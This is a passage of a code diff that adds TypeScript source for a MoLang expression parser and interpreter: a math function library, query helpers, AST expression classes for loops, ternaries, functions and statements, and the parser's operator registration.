+	if (end - start > 180) return radify(end + amount * (360 - (end - start)))
+	else return start + amount * (end - start)
+}
+const mod = (value: number, denominator: number) => value % denominator
+const random = (low: number, high: number) => low + Math.random() * (high - low)
+const randomInt = (low: number, high: number) =>
+	Math.round(low + Math.random() * (high - low))
+
+const minAngle = (value: number) => {
+	value = value % 360
+	value = (value + 360) % 360
+
+	if (value > 179) value -= 360
+	return value
+}
+
+export const MoLangMathLib = (useRadians: boolean) => {
+	const degRadFactor = useRadians ? 1 : Math.PI / 180
+
+	return {
+		'math.abs': Math.abs,
+		'math.acos': (x: number) => Math.acos(x) / degRadFactor,
+		'math.asin': (x: number) => Math.asin(x) / degRadFactor,
+		'math.atan': (x: number) => Math.atan(x) / degRadFactor,
+		'math.atan2': (y: number, x: number) => Math.atan2(y, x) / degRadFactor,
+		'math.ceil': Math.ceil,
+		'math.clamp': clamp,
+		'math.cos': (x: number) => Math.cos(x * degRadFactor),
+		'math.die_roll': dieRoll,
+		'math.die_roll_integer': dieRollInt,
+		'math.exp': Math.exp,
+		'math.floor': Math.floor,
+		'math.hermite_blend': hermiteBlend,
+		'math.lerp': lerp,
+		'math.lerp_rotate': lerprotate,
+		'math.ln': Math.log,
+		'math.max': Math.max,
+		'math.min': Math.min,
+		'math.min_angle': minAngle,
+		'math.mod': mod,
+		'math.pi': Math.PI,
+		'math.pow': Math.pow,
+		'math.random': random,
+		'math.random_integer': randomInt,
+		'math.round': Math.round,
+		'math.sin': (x: number) => Math.sin(x * degRadFactor),
+		'math.sqrt': Math.sqrt,
+		'math.trunc': Math.trunc,
+	}
+}

packages/molang/src/env/queries.ts

@@ -0,0 +1,25 @@
+const inRange = (value: number, min: number, max: number) => {
+	// Check that value, min and max are numbers
+	if (
+		typeof value !== 'number' ||
+		typeof min !== 'number' ||
+		typeof max !== 'number'
+	) {
+		console.error('"query.in_range": value, min and max must be numbers')
+		return false
+	}
+
+	return value >= min && value <= max
+}
+
+const all = (mustMatch: unknown, ...values: unknown[]) =>
+	values.every((v) => v === mustMatch)
+
+const any = (mustMatch: unknown, ...values: unknown[]) =>
+	values.some((v) => v === mustMatch)
+
+export const standardQueries = {
+	'query.in_range': inRange,
+	'query.all': all,
+	'query.any': any,
+}

packages/molang/src/env/standardEnv.ts

@@ -0,0 +1,7 @@
+import { MoLangMathLib } from './math'
+import { standardQueries } from './queries'
+
+export const standardEnv = (useRadians: boolean) => ({
+	...MoLangMathLib(useRadians),
+	...standardQueries,
+})

packages/molang/src/index.ts

@@ -0,0 +1 @@
+export * from './main'

packages/molang/src/main.ts

@@ -0,0 +1,91 @@
+import { TVariableHandler } from './env/env'
+import { Tokenizer } from './tokenizer/Tokenizer'
+
+/**
+ * How the parser and interpreter should handle your MoLang expression
+ */
+
+export interface IParserConfig {
+	/**
+	 * Whether a cache should be used to speed up executing MoLang.
+	 * The cache saves an AST for every parsed expression.
+	 * This allows us to skip the tokenization & parsing step before executing known MoLang expressions
+	 *
+	 * Default: true
+	 */
+	useCache: boolean
+	/**
+	 * How many expressions can be cached. After reaching `maxCacheSize`, the whole cache is cleared automatically.
+	 * Can be set to `Infinity` to remove the limit completely
+	 *
+	 * Default: 256
+	 */
+	maxCacheSize: number
+	/**
+	 * The optimizer can drastically speed up parsing & executing MoLang.
+	 * It enables skipping of unreachable statements, pre-evaluating static expressions and skipping of statements with no effect
+	 * when used together with the `useAgressiveStaticOptimizer` option
+	 *
+	 * Default: true
+	 */
+	useOptimizer: boolean
+	/**
+	 * Skip execution of statements with no effect
+	 * when used together with the `useOptimizer` option
+	 *
+	 * Default: true
+	 */
+	useAgressiveStaticOptimizer: boolean
+
+	/**
+	 * This options makes early return statements skip all parsing work completely
+	 *
+	 * Default: true
+	 */
+	earlyReturnsSkipParsing: boolean
+	/**
+	 * This options makes early return statements skip all tokenization work completely if earlyReturnsSkipParsing is set to true
+	 *
+	 * Default: true
+	 */
+	earlyReturnsSkipTokenization: boolean
+	/**
+	 * Tokenizer to use for tokenizing the expression
+	 */
+	tokenizer: Tokenizer
+	/**
+	 * Create expression instances for brackets ("()", "{}")
+	 *
+	 * This should only be set to true if you want to use the .toString() method of an expression
+	 * or you want to iterate over the whole AST
+	 *
+	 * Default: false
+	 */
+	keepGroups: boolean
+
+	/**
+	 * Whether to convert undefined variables to "0"
+	 *
+	 * Default: false
+	 */
+	convertUndefined: boolean
+
+	/**
+	 * Use radians instead of degrees for trigonometric functions
+	 *
+	 * Default: false
+	 */
+	useRadians: boolean
+
+	/**
+	 * Resolve undefined variables
+	 */
+	variableHandler: TVariableHandler
+}
+
+export { Tokenizer } from './tokenizer/Tokenizer'
+export { IExpression } from './parser/expression'
+export { CustomMoLang } from './custom/main'
+export { MoLang } from './MoLang'
+export * as expressions from './parser/expressions/index'
+export { Context } from './env/env'

packages/molang/src/parser/expression.ts

@@ -0,0 +1,57 @@
+/**
+ * Interface that describes an AST Expression
+ */
+export interface IExpression {
+	readonly type: string
+	readonly isReturn?: boolean
+	readonly isBreak?: boolean
+	readonly isContinue?: boolean
+	readonly allExpressions: IExpression[]
+
+	setFunctionCall?: (value: boolean) => void
+	setPointer?: (value: unknown) => void
+	setExpressionAt(index: number, expr: IExpression): void
+	eval(): unknown
+	isStatic(): boolean
+	walk(cb: TIterateCallback): IExpression
+	iterate(cb: TIterateCallback, visited: Set<IExpression>): void
+}
+
+export abstract class Expression implements IExpression {
+	public abstract readonly type: string
+
+	abstract eval(): unknown
+	abstract isStatic(): boolean
+
+	toString() {
+		return `${this.eval()}`
+	}
+
+	abstract allExpressions: IExpression[]
+	abstract setExpressionAt(index: number, expr: IExpression): void
+
+	walk(cb: TIterateCallback, visited = new Set<IExpression>()): IExpression {
+		let expr = cb(this) ?? this
+
+		expr.iterate(cb, visited)
+
+		return expr
+	}
+	iterate(cb: TIterateCallback, visited: Set<IExpression>) {
+		for (let i = 0; i < this.allExpressions.length; i++) {
+			const originalExpr = this.allExpressions[i]
+			if (visited.has(originalExpr)) continue
+			else visited.add(originalExpr)
+
+			const expr = cb(originalExpr) ?? originalExpr
+
+			if (expr !== originalExpr && visited.has(expr)) continue
+			else visited.add(expr)
+
+			this.setExpressionAt(i, expr)
+			expr.iterate(cb, visited)
+		}
+	}
+}
+
+export type TIterateCallback = (expr: IExpression) => IExpression | undefined

packages/molang/src/parser/expressions/arrayAccess.ts

@@ -0,0 +1,32 @@
+import { Expression, IExpression } from '../expression'
+
+export class ArrayAccessExpression extends Expression {
+	type = 'ArrayAccessExpression'
+	constructor(protected name: IExpression, protected lookup: IExpression) {
+		super()
+	}
+
+	get allExpressions() {
+		return [this.name, this.lookup]
+	}
+	setExpressionAt(index: number, expr: IExpression) {
+		if (index === 0) this.name = expr
+		else if (index === 1) this.lookup = expr
+	}
+
+	isStatic() {
+		return false
+	}
+
+	setPointer(value: unknown) {
+		;(<any>this.name.eval())[<number>this.lookup.eval()] = value
+	}
+
+	eval() {
+		return (<any>this.name.eval())[<number>this.lookup.eval()]
+	}
+
+	toString() {
+		return `${this.name.toString()}[${this.lookup.toString()}]`
+	}
+}

packages/molang/src/parser/expressions/boolean.ts

@@ -0,0 +1,21 @@
+import { Expression } from '../expression'
+
+export class BooleanExpression extends Expression {
+	type = 'BooleanExpression'
+	constructor(protected value: boolean) {
+		super()
+	}
+
+	get allExpressions() {
+		return []
+	}
+	setExpressionAt() {}
+
+	isStatic() {
+		return true
+	}
+
+	eval() {
+		return this.value
+	}
+}

packages/molang/src/parser/expressions/break.ts

@@ -0,0 +1,26 @@
+import { Expression } from '../expression'
+
+export class BreakExpression extends Expression {
+	type = 'BreakExpression'
+	isBreak = true
+
+	constructor() {
+		super()
+	}
+
+	get allExpressions() {
+		return []
+	}
+	setExpressionAt() {}
+
+	isStatic() {
+		return false
+	}
+
+	eval() {
+		return 0
+	}
+	isString() {
+		return 'break'
+	}
+}

packages/molang/src/parser/expressions/contextSwitch.ts

@@ -0,0 +1,48 @@
+import { ExecutionEnvironment } from '../../env/env'
+import { Expression, IExpression } from '../expression'
+import { NameExpression } from './name'
+
+export class ContextSwitchExpression extends Expression {
+	type = 'NameExpression'
+
+	constructor(
+		protected leftExpr: NameExpression,
+		protected rightExpr: NameExpression
+	) {
+		super()
+	}
+
+	get allExpressions() {
+		return [this.leftExpr, this.rightExpr]
+	}
+	setExpressionAt(index: number, expr: IExpression) {
+		if (!(expr instanceof NameExpression))
+			throw new Error(
+				`Cannot use context switch operator "->" on ${expr.type}`
+			)
+
+		if (index === 0) this.leftExpr = expr
+		else if (index === 1) this.rightExpr = expr
+	}
+
+	isStatic() {
+		return false
+	}
+
+	eval() {
+		const context = this.leftExpr.eval()
+		if (typeof context !== 'object') return 0
+
+		this.rightExpr.setExecutionEnv(
+			new ExecutionEnvironment(
+				context,
+				this.rightExpr.executionEnv.config
+			)
+		)
+		return this.rightExpr.eval()
+	}
+
+	toString() {
+		return `${this.leftExpr.toString()}->${this.rightExpr.toString()}`
+	}
+}

packages/molang/src/parser/expressions/continue.ts

@@ -0,0 +1,26 @@
+import { Expression } from '../expression'
+
+export class ContinueExpression extends Expression {
+	type = 'ContinueExpression'
+	isContinue = true
+
+	constructor() {
+		super()
+	}
+
+	get allExpressions() {
+		return []
+	}
+	setExpressionAt() {}
+
+	isStatic() {
+		return false
+	}
+
+	eval() {
+		return 0
+	}
+	toString() {
+		return 'continue'
+	}
+}

packages/molang/src/parser/expressions/forEach.ts

@@ -0,0 +1,63 @@
+import { Expression, IExpression } from '../expression'
+
+export class ForEachExpression extends Expression {
+	type = 'ForEachExpression'
+
+	constructor(
+		protected variable: IExpression,
+		protected arrayExpression: IExpression,
+		protected expression: IExpression
+	) {
+		super()
+		if (!this.variable.setPointer)
+			throw new Error(
+				`First for_each() argument must be a variable, received "${typeof this.variable.eval()}"`
+			)
+	}
+
+	get isReturn() {
+		return this.expression.isReturn
+	}
+	get allExpressions() {
+		return [this.variable, this.arrayExpression, this.expression]
+	}
+	setExpressionAt(index: number, expr: IExpression) {
+		if (index === 0) this.variable = expr
+		else if (index === 1) this.arrayExpression = expr
+		else if (index === 2) this.expression = expr
+	}
+
+	isStatic() {
+		return (
+			this.variable.isStatic() &&
+			this.arrayExpression.isStatic() &&
+			this.expression.isStatic()
+		)
+	}
+
+	eval() {
+		const array = this.arrayExpression.eval()
+		if (!Array.isArray(array))
+			throw new Error(
+				`Second for_each() argument must be an array, received "${typeof array}"`
+			)
+
+		let i = 0
+		while (i < array.length) {
+			// Error detection for this.variable is part of the constructor
+			this.variable.setPointer?.(array[i++])
+
+			const res = this.expression.eval()
+
+			if (this.expression.isBreak) break
+			else if (this.expression.isContinue) continue
+			else if (this.expression.isReturn) return res
+		}
+
+		return 0
+	}
+
+	toString() {
+		return `loop(${this.variable.toString()},${this.arrayExpression.toString()},${this.expression.toString()})`
+	}
+}

packages/molang/src/parser/expressions/function.ts

@@ -0,0 +1,46 @@
+import { NameExpression } from './name'
+import { Expression, IExpression } from '../expression'
+
+export class FunctionExpression extends Expression {
+	type = 'FunctionExpression'
+
+	constructor(protected name: IExpression, protected args: IExpression[]) {
+		super()
+	}
+
+	get allExpressions() {
+		return [this.name, ...this.args]
+	}
+	setExpressionAt(index: number, expr: Expression) {
+		if (index === 0) this.name = expr
+		else if (index > 0) this.args[index - 1] = expr
+	}
+
+	isStatic() {
+		return false
+	}
+
+	eval() {
+		const args: unknown[] = []
+		let i = 0
+		while (i < this.args.length) args.push(this.args[i++].eval())
+
+		const func = <(...args: unknown[]) => unknown>this.name.eval()
+		if (typeof func !== 'function')
+			throw new Error(
+				`${(<NameExpression>this.name).toString()} is not callable!`
+			)
+		return func(...args)
+	}
+
+	toString() {
+		let str = `${this.name.toString()}(`
+		for (let i = 0; i < this.args.length; i++) {
+			str += `${this.args[i].toString()}${
+				i + 1 < this.args.length ? ',' : ''
+			}`
+		}
+
+		return `${str})`
+	}
+}

packages/molang/src/parser/expressions/genericOperator.ts

@@ -0,0 +1,37 @@
+import { Expression, IExpression } from '../expression'
+
+export class GenericOperatorExpression extends Expression {
+	type = 'GenericOperatorExpression'
+
+	constructor(
+		protected left: IExpression,
+		protected right: IExpression,
+		protected operator: string,
+		protected evalHelper: (
+			leftExpression: IExpression,
+			rightExpression: IExpression
+		) => unknown
+	) {
+		super()
+	}
+
+	get allExpressions() {
+		return [this.left, this.right]
+	}
+	setExpressionAt(index: number, expr: IExpression) {
+		if (index === 0) this.left = expr
+		else if (index === 1) this.right = expr
+	}
+
+	isStatic() {
+		return this.left.isStatic() && this.right.isStatic()
+	}
+
+	eval() {
+		return this.evalHelper(this.left, this.right)
+	}
+
+	toString() {
+		return `${this.left.toString()}${this.operator}${this.right.toString()}`
+	}
+}

packages/molang/src/parser/expressions/group.ts

@@ -0,0 +1,38 @@
+import { Expression, IExpression } from '../expression'
+
+export class GroupExpression extends Expression {
+	type = 'GroupExpression'
+
+	constructor(protected expression: IExpression, protected brackets: string) {
+		super()
+	}
+
+	get allExpressions() {
+		return [this.expression]
+	}
+	setExpressionAt(_: number, expr: IExpression) {
+		this.expression = expr
+	}
+
+	isStatic() {
+		return this.expression.isStatic()
+	}
+	get isReturn() {
+		return this.expression.isReturn
+	}
+	get isBreak() {
+		return this.expression.isBreak
+	}
+	get isContinue() {
+		return this.expression.isContinue
+	}
+
+	eval() {
+		return this.expression.eval()
+	}
+	toString() {
+		return `${this.brackets[0]}${this.expression.toString()}${
+			this.brackets[1]
+		}`
+	}
+}

packages/molang/src/parser/expressions/index.ts

@@ -0,0 +1,19 @@
+export { ArrayAccessExpression } from './arrayAccess'
+export { BooleanExpression } from './boolean'
+export { BreakExpression } from './break'
+export { ContinueExpression } from './continue'
+export { ForEachExpression } from './forEach'
+export { FunctionExpression } from './function'
+export { GenericOperatorExpression } from './genericOperator'
+export { GroupExpression } from './group'
+export { LoopExpression } from './loop'
+export { NameExpression } from './name'
+export { NumberExpression } from './number'
+export { PostfixExpression } from './postfix'
+export { PrefixExpression } from './prefix'
+export { ReturnExpression } from './return'
+export { StatementExpression } from './statement'
+export { StaticExpression } from './static'
+export { StringExpression } from './string'
+export { TernaryExpression } from './ternary'
+export { VoidExpression } from './void'

packages/molang/src/parser/expressions/loop.ts

@@ -0,0 +1,56 @@
+import { Expression, IExpression } from '../expression'
+
+export class LoopExpression extends Expression {
+	type = 'LoopExpression'
+
+	constructor(
+		protected count: IExpression,
+		protected expression: IExpression
+	) {
+		super()
+	}
+
+	get allExpressions() {
+		return [this.count, this.expression]
+	}
+	setExpressionAt(index: number, expr: IExpression) {
+		if (index === 0) this.count = expr
+		else if (index === 1) this.expression = expr
+	}
+
+	get isReturn() {
+		return this.expression.isReturn
+	}
+
+	isStatic() {
+		return this.count.isStatic() && this.expression.isStatic()
+	}
+
+	eval() {
+		const repeatCount = Number(this.count.eval())
+		if (Number.isNaN(repeatCount))
+			throw new Error(
+				`First loop() argument must be of type number, received "${typeof this.count.eval()}"`
+			)
+		if (repeatCount > 1024)
+			throw new Error(
+				`Cannot loop more than 1024x times, received "${repeatCount}"`
+			)
+
+		let i = 0
+		while (i < repeatCount) {
+			i++
+			const res = this.expression.eval()
+
+			if (this.expression.isBreak) break
+			else if (this.expression.isContinue) continue
+			else if (this.expression.isReturn) return res
+		}
+
+		return 0
+	}
+
+	toString() {
+		return `loop(${this.count.toString()},${this.expression.toString()})`
+	}
+}

packages/molang/src/parser/expressions/name.ts

@@ -0,0 +1,47 @@
+import { ExecutionEnvironment } from '../../env/env'
+import { Expression } from '../expression'
+
+export class NameExpression extends Expression {
+	type = 'NameExpression'
+
+	constructor(
+		public executionEnv: ExecutionEnvironment,
+		protected name: string,
+		protected isFunctionCall = false
+	) {
+		super()
+	}
+
+	get allExpressions() {
+		return []
+	}
+	setExpressionAt() {}
+
+	isStatic() {
+		return false
+	}
+
+	setPointer(value: unknown) {
+		this.executionEnv.setAt(this.name, value)
+	}
+
+	setFunctionCall(value = true) {
+		this.isFunctionCall = value
+	}
+	setName(name: string) {
+		this.name = name
+	}
+	setExecutionEnv(executionEnv: ExecutionEnvironment) {
+		this.executionEnv = executionEnv
+	}
+
+	eval() {
+		const value = this.executionEnv.getFrom(this.name)
+		if (!this.isFunctionCall && typeof value === 'function') return value()
+		return value
+	}
+
+	toString() {
+		return this.name
+	}
+}

packages/molang/src/parser/expressions/number.ts

@@ -0,0 +1,25 @@
+import { Expression } from '../expression'
+
+export class NumberExpression extends Expression {
+	type = 'NumberExpression'
+
+	constructor(protected value: number) {
+		super()
+	}
+
+	get allExpressions() {
+		return []
+	}
+	setExpressionAt() {}
+
+	isStatic() {
+		return true
+	}
+
+	eval() {
+		return this.value
+	}
+	toString() {
+		return '' + this.value
+	}
+}

packages/molang/src/parser/expressions/postfix.ts

@@ -0,0 +1,32 @@
+import { TTokenType } from '../../tokenizer/token'
+import { Expression, IExpression } from '../expression'
+
+export class PostfixExpression extends Expression {
+	type = 'PostfixExpression'
+
+	constructor(
+		protected expression: IExpression,
+		protected tokenType: TTokenType
+	) {
+		super()
+	}
+
+	get allExpressions() {
+		return [this.expression]
+	}
+	setExpressionAt(_: number, expr: IExpression) {
+		this.expression = expr
+	}
+
+	isStatic() {
+		return this.expression.isStatic()
+	}
+
+	eval() {
+		switch (this.tokenType) {
+			case 'X': {
+				// DO SOMETHING
+			}
+		}
+	}
+}

packages/molang/src/parser/expressions/prefix.ts

@@ -0,0 +1,57 @@
+import { TTokenType } from '../../tokenizer/token'
+import { Expression, IExpression } from '../expression'
+
+export class PrefixExpression extends Expression {
+	type = 'PrefixExpression'
+
+	constructor(
+		protected tokenType: TTokenType,
+		protected expression: IExpression
+	) {
+		super()
+	}
+
+	get allExpressions() {
+		return [this.expression]
+	}
+	setExpressionAt(_: number, expr: IExpression) {
+		this.expression = expr
+	}
+
+	isStatic() {
+		return this.expression.isStatic()
+	}
+
+	eval() {
+		const value = this.expression.eval()
+
+		if (typeof value !== 'number')
+			throw new Error(
+				`Cannot use "${
+					this.tokenType
+				}" operator in front of ${typeof value} "${value}"`
+			)
+
+		switch (this.tokenType) {
+			case 'MINUS': {
+				return -value
+			}
+			case 'BANG': {
+				return !value
+			}
+		}
+	}
+
+	toString() {
+		switch (this.tokenType) {
+			case 'MINUS': {
+				return `-${this.expression.toString()}`
+			}
+			case 'BANG': {
+				return `!${this.expression.toString()}`
+			}
+		}
+
+		throw new Error(`Unknown prefix operator: "${this.tokenType}"`)
+	}
+}

packages/molang/src/parser/expressions/return.ts

@@ -0,0 +1,29 @@
+import { Expression, IExpression } from '../expression'
+
+export class ReturnExpression extends Expression {
+	type = 'ReturnExpression'
+	isReturn = true
+
+	constructor(protected expression: IExpression) {
+		super()
+	}
+
+	get allExpressions() {
+		return [this.expression]
+	}
+	setExpressionAt(_: number, expr: IExpression) {
+		this.expression = expr
+	}
+
+	isStatic() {
+		return false
+	}
+
+	eval() {
+		return this.expression.eval()
+	}
+
+	toString() {
+		return `return ${this.expression.toString()}`
+	}
+}

packages/molang/src/parser/expressions/statement.ts

@@ -0,0 +1,102 @@
+import { Expression, IExpression } from '../expression'
+import { StaticExpression } from './static'
+import { VoidExpression } from './void'
+
+export class StatementExpression extends Expression {
+	type = 'StatementExpression'
+	protected didReturn?: boolean = undefined
+	protected wasLoopBroken = false
+	protected wasLoopContinued = false
+
+	constructor(protected expressions: IExpression[]) {
+		super()
+	}
+
+	get allExpressions() {
+		return this.expressions
+	}
+	setExpressionAt(index: number, expr: IExpression) {
+		this.expressions[index] = expr
+	}
+
+	get isReturn() {
+		if (this.didReturn !== undefined) return this.didReturn
+
+		// This breaks scope vs. statement parsing for some reason
+		let i = 0
+		while (i < this.expressions.length) {
+			const expr = this.expressions[i]
+
+			if (expr.isBreak) return false
+			if (expr.isContinue) return false
+			if (expr.isReturn) {
+				this.didReturn = true
+				return true
+			}
+			i++
+		}
+		this.didReturn = false
+		return false
+	}
+
+	get isBreak() {
+		if (this.wasLoopBroken) {
+			this.wasLoopBroken = false
+			return true
+		}
+		return false
+	}
+	get isContinue() {
+		if (this.wasLoopContinued) {
+			this.wasLoopContinued = false
+			return true
+		}
+		return false
+	}
+
+	isStatic() {
+		let i = 0
+		while (i < this.expressions.length) {
+			if (!this.expressions[i].isStatic()) return false
+			i++
+		}
+		return true
+	}
+
+	eval() {
+		this.didReturn = false
+		this.wasLoopBroken = false
+		this.wasLoopContinued = false
+		let i = 0
+		while (i < this.expressions.length) {
+			let res = this.expressions[i].eval()
+
+			if (this.expressions[i].isReturn) {
+				this.didReturn = true
+				return res
+			} else if (this.expressions[i].isContinue) {
+				this.wasLoopContinued = true
+				return
+			} else if (this.expressions[i].isBreak) {
+				this.wasLoopBroken = true
+				return
+			}
+			i++
+		}
+		return 0
+	}
+
+	toString() {
+		let str = ''
+		for (const expr of this.expressions) {
+			if (
+				expr instanceof VoidExpression ||
+				(expr instanceof StaticExpression && !expr.isReturn)
+			)
+				continue
+			str += `${expr.toString()};`
+		}
+
+		return str
+	}
+}

packages/molang/src/parser/expressions/static.ts

@@ -0,0 +1,28 @@
+import { Expression } from '../expression'
+
+export class StaticExpression extends Expression {
+	type = 'StaticExpression'
+	constructor(protected value: unknown, public readonly isReturn = false) {
+		super()
+	}
+
+	get allExpressions() {
+		return []
+	}
+	setExpressionAt() {}
+
+	isStatic() {
+		return true
+	}
+
+	eval() {
+		return this.value
+	}
+	toString() {
+		let val = this.value
+		if (typeof val === 'string') val = `'${val}'`
+
+		if (this.isReturn) return `return ${val}`
+		return '' + val
+	}
+}

packages/molang/src/parser/expressions/string.ts

@@ -0,0 +1,26 @@
+import { Expression } from '../expression'
+
+export class StringExpression extends Expression {
+	type = 'StringExpression'
+
+	constructor(protected name: string) {
+		super()
+	}
+
+	get allExpressions() {
+		return []
+	}
+	setExpressionAt() {}
+
+	isStatic() {
+		return true
+	}
+
+	eval() {
+		return this.name.substring(1, this.name.length - 1)
+	}
+
+	toString() {
+		return this.name
+	}
+}

packages/molang/src/parser/expressions/ternary.ts

@@ -0,0 +1,79 @@
+import { Expression, IExpression } from '../expression'
+import { VoidExpression } from './void'
+
+export class TernaryExpression extends Expression {
+	type = 'TernaryExpression'
+	protected leftResult: unknown
+
+	constructor(
+		protected leftExpression: IExpression,
+		protected thenExpression: IExpression,
+		protected elseExpression: IExpression
+	) {
+		super()
+	}
+
+	get allExpressions() {
+		if (this.leftExpression.isStatic())
+			return [
+				this.leftExpression,
+				this.leftExpression.eval()
+					? this.thenExpression
+					: this.elseExpression,
+			]
+		return [this.leftExpression, this.thenExpression, this.elseExpression]
+	}
+	setExpressionAt(index: number, expr: IExpression) {
+		if (index === 0) this.leftExpression = expr
+		else if (index === 1) this.thenExpression = expr
+		else if (index === 2) this.elseExpression = expr
+	}
+
+	get isReturn() {
+		if (this.leftResult === undefined)
+			return this.thenExpression.isReturn && this.elseExpression.isReturn
+		return this.leftResult
+			? this.thenExpression.isReturn
+			: this.elseExpression.isReturn
+	}
+	get hasReturn() {
+		return this.thenExpression.isReturn || this.elseExpression.isReturn
+	}
+	get isContinue() {
+		if (this.leftResult === undefined)
+			return (
+				this.thenExpression.isContinue && this.elseExpression.isContinue
+			)
+		return this.leftResult
+			? this.thenExpression.isContinue
+			: this.elseExpression.isContinue
+	}
+	get isBreak() {
+		if (this.leftResult === undefined)
+			return this.thenExpression.isBreak && this.elseExpression.isBreak
+		return this.leftResult
+			? this.thenExpression.isBreak
+			: this.elseExpression.isBreak
+	}
+
+	isStatic() {
+		return (
+			this.leftExpression.isStatic() &&
+			this.thenExpression.isStatic() &&
+			this.elseExpression.isStatic()
+		)
+	}
+
+	eval() {
+		this.leftResult = this.leftExpression.eval()
+		return this.leftResult
+			? this.thenExpression.eval()
+			: this.elseExpression.eval()
+	}
+
+	toString() {
+		if (this.elseExpression instanceof VoidExpression)
+			return `${this.leftExpression.toString()}?${this.thenExpression.toString()}`
+		return `${this.leftExpression.toString()}?${this.thenExpression.toString()}:${this.elseExpression.toString()}`
+	}
+}

packages/molang/src/parser/expressions/void.ts

@@ -0,0 +1,21 @@
+import { Expression } from '../expression'
+
+export class VoidExpression extends Expression {
+	type = 'VoidExpression'
+
+	get allExpressions() {
+		return []
+	}
+	setExpressionAt() {}
+
+	isStatic() {
+		return true
+	}
+
+	eval() {
+		return 0
+	}
+	toString() {
+		return ''
+	}
+}

packages/molang/src/parser/molang.ts

@@ -0,0 +1,88 @@
+import { Parser } from './parse'
+import { BinaryOperator } from './parselets/binaryOperator'
+import { EPrecedence } from './precedence'
+import { PrefixOperator } from './parselets/prefix'
+import { NumberParselet } from './parselets/number'
+import { NameParselet } from './parselets/name'
+import { GroupParselet } from './parselets/groupParselet'
+import { ReturnParselet } from './parselets/return'
+import { StatementParselet } from './parselets/statement'
+import { StringParselet } from './parselets/string'
+import { FunctionParselet } from './parselets/function'
+import { ArrayAccessParselet } from './parselets/arrayAccess'
+import { ScopeParselet } from './parselets/scope'
+import { LoopParselet } from './parselets/loop'
+import { ForEachParselet } from './parselets/forEach'
+import { ContinueParselet } from './parselets/continue'
+import { BreakParselet } from './parselets/break'
+import { BooleanParselet } from './parselets/boolean'
+import { IParserConfig } from '../main'
+import { EqualsOperator } from './parselets/equals'
+import { NotEqualsOperator } from './parselets/notEquals'
+import { AndOperator } from './parselets/andOperator'
+import { OrOperator } from './parselets/orOperator'
+import { SmallerOperator } from './parselets/smallerOperator'
+import { GreaterOperator } from './parselets/greaterOperator'
+import { QuestionOperator } from './parselets/questionOperator'
+
+export class MoLangParser extends Parser {
+	constructor(config: Partial<IParserConfig>) {
+		super(config)
+
+		//Special parselets
+		this.registerPrefix('NAME', new NameParselet())
+		this.registerPrefix('STRING', new StringParselet())
+		this.registerPrefix('NUMBER', new NumberParselet())
+		this.registerPrefix('TRUE', new BooleanParselet(EPrecedence.PREFIX))
+		this.registerPrefix('FALSE', new BooleanParselet(EPrecedence.PREFIX))
+		this.registerPrefix('RETURN', new ReturnParselet())
+		this.registerPrefix('CONTINUE', new ContinueParselet())
+		this.registerPrefix('BREAK', new BreakParselet())
+		this.registerPrefix('LOOP', new LoopParselet())
+		this.registerPrefix('FOR_EACH', new ForEachParselet())
+		this.registerInfix(
+			'QUESTION',
+			new QuestionOperator(EPrecedence.CONDITIONAL)
+		)
+		this.registerPrefix('LEFT_PARENT', new GroupParselet())
+		this.registerInfix(
+			'LEFT_PARENT',
+			new FunctionParselet(EPrecedence.FUNCTION)
+		)
+		this.registerInfix(
+			'ARRAY_LEFT',
+			new ArrayAccessParselet(EPrecedence.ARRAY_ACCESS)
+		)
+		this.registerPrefix('CURLY_LEFT', new ScopeParselet(EPrecedence.SCOPE))
+		this.registerInfix(
+			'SEMICOLON',
+			new StatementParselet(EPrecedence.STATEMENT)
+		)
+
+		//Prefix parselets
+		this.registerPrefix('MINUS', new PrefixOperator(EPrecedence.PREFIX))
+		this.registerPrefix('BANG', new PrefixOperator(EPrecedence.PREFIX))
+
+		//Postfix parselets
+		//Nothing here yet
+
+		//Infix parselets
+		this.registerInfix('PLUS', new BinaryOperator(EPrecedence.SUM))
+		this.registerInfix('MINUS', new BinaryOperator(EPrecedence.SUM))
+		this.registerInfix('ASTERISK', new BinaryOperator(EPrecedence.PRODUCT))
+		this.registerInfix('SLASH', new BinaryOperator(EPrecedence.PRODUCT))
+		this.registerInfix(
+			'EQUALS',
+			new EqualsOperator(EPrecedence.EQUALS_COMPARE)
+		)
+		this.registerInfix(
+			'BANG',
+			new NotEqualsOperator(EPrecedence.EQUALS_COMPARE)
+		)
+		this.registerInfix('GREATER', new GreaterOperator(EPrecedence.COMPARE))
+		this.registerInfix('SMALLER', new SmallerOperator(EPrecedence.COMPARE))
+		this.registerInfix('AND', new AndOperator(EPrecedence.AND))
+		this.registerInfix('OR', new OrOperator(EPrecedence.OR))
+		this.registerInfix('ASSIGN', new BinaryOperator(EPrecedence.ASSIGNMENT))
+	}
+}

packages/molang/src/parser/parse.ts

@@ -0,0 +1,118 @@
+import { Tokenizer } from '../tokenizer/Tokenizer'
+import { TTokenType, Token } from '../tokenizer/token'
+import { IPrefixParselet } from './parselets/prefix'
+import { IInfixParselet } from './parselets/infix'
+import { IExpression } from './expression'
+import { ExecutionEnvironment } from '../env/env'
+import { IParserConfig } from '../main'
+import { VoidExpression } from './expressions/void'
+
+export class Parser {
+	protected prefixParselets = new Map<TTokenType, IPrefixParselet>()
+	protected infixParselets = new Map<TTokenType, IInfixParselet>()
+	protected readTokens: Token[] = []
+	protected tokenIterator = new Tokenizer()
+	executionEnv!: ExecutionEnvironment
+
+	constructor(public config: Partial<IParserConfig>) {}
+
+	updateConfig(config: Partial<IParserConfig>) {
+		this.config = config
+	}
+
+	init(expression: string) {
+		this.tokenIterator.init(expression)
+		this.readTokens = []
+	}
+	setTokenizer(tokenizer: Tokenizer) {
+		this.tokenIterator = tokenizer
+	}
+	setExecutionEnvironment(executionEnv: ExecutionEnvironment) {
+		this.executionEnv = executionEnv
+	}
+
+	parseExpression(precedence = 0): IExpression {
+		let token = this.consume()
+		if (token.getType() === 'EOF') return new VoidExpression()
+
+		const prefix = this.prefixParselets.get(token.getType())
+		if (!prefix) {
+			throw new Error(
+				`Cannot parse ${token.getType()} expression "${token.getType()}"`
+			)
+		}
+
+		let expressionLeft = prefix.parse(this, token)
+		return this.parseInfixExpression(expressionLeft, precedence)
+	}
+
+	parseInfixExpression(expressionLeft: IExpression, precedence = 0) {
+		let token
+
+		while (this.getPrecedence() > precedence) {
+			token = this.consume()
+			let tokenType = token.getType()
+			if (tokenType === 'EQUALS' && !this.match('EQUALS')) {
+				tokenType = 'ASSIGN'
+			}
+
+			const infix = <IInfixParselet>this.infixParselets.get(tokenType)
+			if (!infix)
